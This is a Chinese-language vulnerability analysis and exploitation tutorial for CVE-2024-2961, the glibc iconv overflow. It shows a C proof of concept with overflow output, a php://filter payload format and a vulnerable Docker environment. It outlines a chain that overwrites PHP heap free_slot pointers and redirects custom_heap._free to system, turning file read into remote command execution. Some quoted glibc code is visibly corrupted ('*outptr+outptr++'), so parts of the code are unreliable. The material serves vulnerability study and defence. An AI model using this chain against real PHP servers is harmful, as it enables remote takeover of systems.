CVE-2024-2961 漏洞分析
字数 1761 2025-08-20 18:18:23
GLIBC iconv缓冲区溢出漏洞(CVE-2024-2961)分析与利用教学
漏洞概述
CVE-2024-2961是GLIBC中iconv库的一个缓冲区溢出漏洞,主要影响Linux系统。该漏洞的特殊之处在于:
- 漏洞位于glibc/iconvdata/iso-2022-cn-ext.c文件中
- 能够将PHP的任意文件读取漏洞升级为远程命令执行漏洞
- 漏洞发现具有偶然性,通过fuzz PHP而非直接fuzz iconv库发现
漏洞技术细节
漏洞代码分析
漏洞存在于ISO-2022-CN-EXT字符集转换处理中,关键问题代码:
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) {
const char *escseq;
assert (used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr+outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) {
const char *escseq;
assert ((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr+outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS3_ann) | (used << 8);
}
漏洞特点:
- 这两个分支会将输入转换为4字节输出
- 没有检查输出缓冲区长度
- 可能产生6种不同的输出格式
漏洞触发原理
特殊字符"劄"(UTF-8编码为\xe5\x8a\x84):
- 输入仅占3字节
- 会被转译为
\x1b$*H(4字节) - 导致1字节的缓冲区溢出
PoC分析
基础PoC代码:
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
void hexdump(void *ptr, int buflen) {
// 省略hexdump实现
}
void main() {
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x3] = "劄劄";
char output[0x3] = {0};
char overflow[0x5] = "AAAA";
char *pinput = input;
char *poutput = output;
size_t sinput = 3;
size_t soutput = 3;
size_t status = iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zd\nstatus = %d\n", soutput, status);
hexdump(output, 0x10);
printf("overflow = %s\n", overflow);
}
执行结果:
Remaining bytes (should be > 0): -1
status = -1
000000: 1b 24 2a 48 41 41 41 00 00 13 9e 1c e1 6c 44 86 .$*HAAA......lD.
overflow = HAAA
PHP环境下的漏洞利用
利用场景
将PHP的任意文件读取漏洞升级为远程命令执行漏洞:
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>
利用Payload格式:
php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,xxxxxxx
环境搭建
Dockerfile配置:
FROM ubuntu:22.04
RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update && apt install -y nginx php-fpm
# 使用有漏洞的libc版本
RUN apt install -y libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 libc6=2.35-0ubuntu3
COPY index.php /var/www/html/index.php
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh
CMD ["start.sh"]
利用步骤分析
-
检测目标可利用性
- 检查是否支持
data:text/plain;base64, - 检查是否支持
php://filter//resource=data:text/plain;base64, - 检查是否支持
php://filter/zlib.inflate/resource=data:text/plain;base64,
- 检查是否支持
-
获取内存布局
- 通过
/proc/self/maps获取libc基地址和PHP堆基地址 - PHP堆特征:
- 大小≥0x200000且为其倍数
- 不属于任何二进制文件
- 权限为
rw-p
- 通过
-
构造Payload
- 组合使用多种filter:
zlib.inflate- 解压缩数据dechunk- 处理HTTP CHUNKED格式convert.iconv- 字符编码转换
- 组合使用多种filter:
关键技术点
-
PHP堆管理
- PHP使用自定义堆管理而非直接使用libc的malloc
- 关键结构体
_zend_mm_heap:struct _zend_mm_heap { // ...省略其他字段... zend_mm_free_slot *free_slot[ZEND_MM_BINS]; // 小尺寸空闲列表 // ...省略其他字段... }; free_slot类似于tcache,但缺乏安全检查
-
Filter功能分析
zlib.inflate:- 调用
php_zlib_inflate_filter - 最大分配堆尺寸为0x8000
- 调用
dechunk:- 处理HTTP CHUNKED格式
- 可控制
buflen标志位
convert.quoted-printable-decode:- 解码
=00格式数据为\x00
- 解码
convert.iconv:- 调用iconv函数进行编码转换
-
利用链构造
- 组合使用
dechunk和convert.iconv.latin1.latin1控制堆分配 - 目标修改
_zend_mm_heap->custom_heap结构 - 利用
emalloc中的自定义堆处理:if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) { return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC); }
- 组合使用
完整利用步骤
-
控制0x100大小的堆分配与释放
- 使用
dechunk和convert.iconv.latin1.latin1组合 - 精确控制堆大小和释放时机
- 使用
-
触发漏洞覆盖指针
- 构造特定堆布局
- 利用iconv漏洞覆盖
free_slot指针
-
控制
_zend_mm_heap结构- 设置
use_custom_heap为非0 - 设置
custom_heap._free为system地址 - 同时设置
_malloc和_realloc函数指针
- 设置
-
执行命令
- 在特定位置写入命令字符串
- 建议包含
kill -9 $PPID防止意外执行
调试技巧
-
GDB初始化配置:
define php_heap p *(struct _zend_mm_heap *) 0x7ffff5200040 end define pbucket p *(php_stream_bucket *) $arg0 end define pbucketall pbucket $arg0 set $bucket = (php_stream_bucket*) $arg0 if $bucket->next != 0 pbucketall $bucket->next end end dir ./php8.1-8.1.2/ b *(_php_stream_fill_read_buffer+309) r poc.php -
关键断点:
php_zlib_inflate_filterphp_chunked_filterphp_iconv_stream_filter_do_filter
总结与防御建议
漏洞影响
- 影响所有使用有漏洞版本GLIBC的系统
- 特别影响PHP应用,可将文件读取升级为RCE
缓解措施
- 升级GLIBC到已修复版本
- 限制PHP危险函数的使用
- 实施严格的输入过滤
研究方向
- 研究iconv在其他应用中的使用情况
- 探索更多可能的利用场景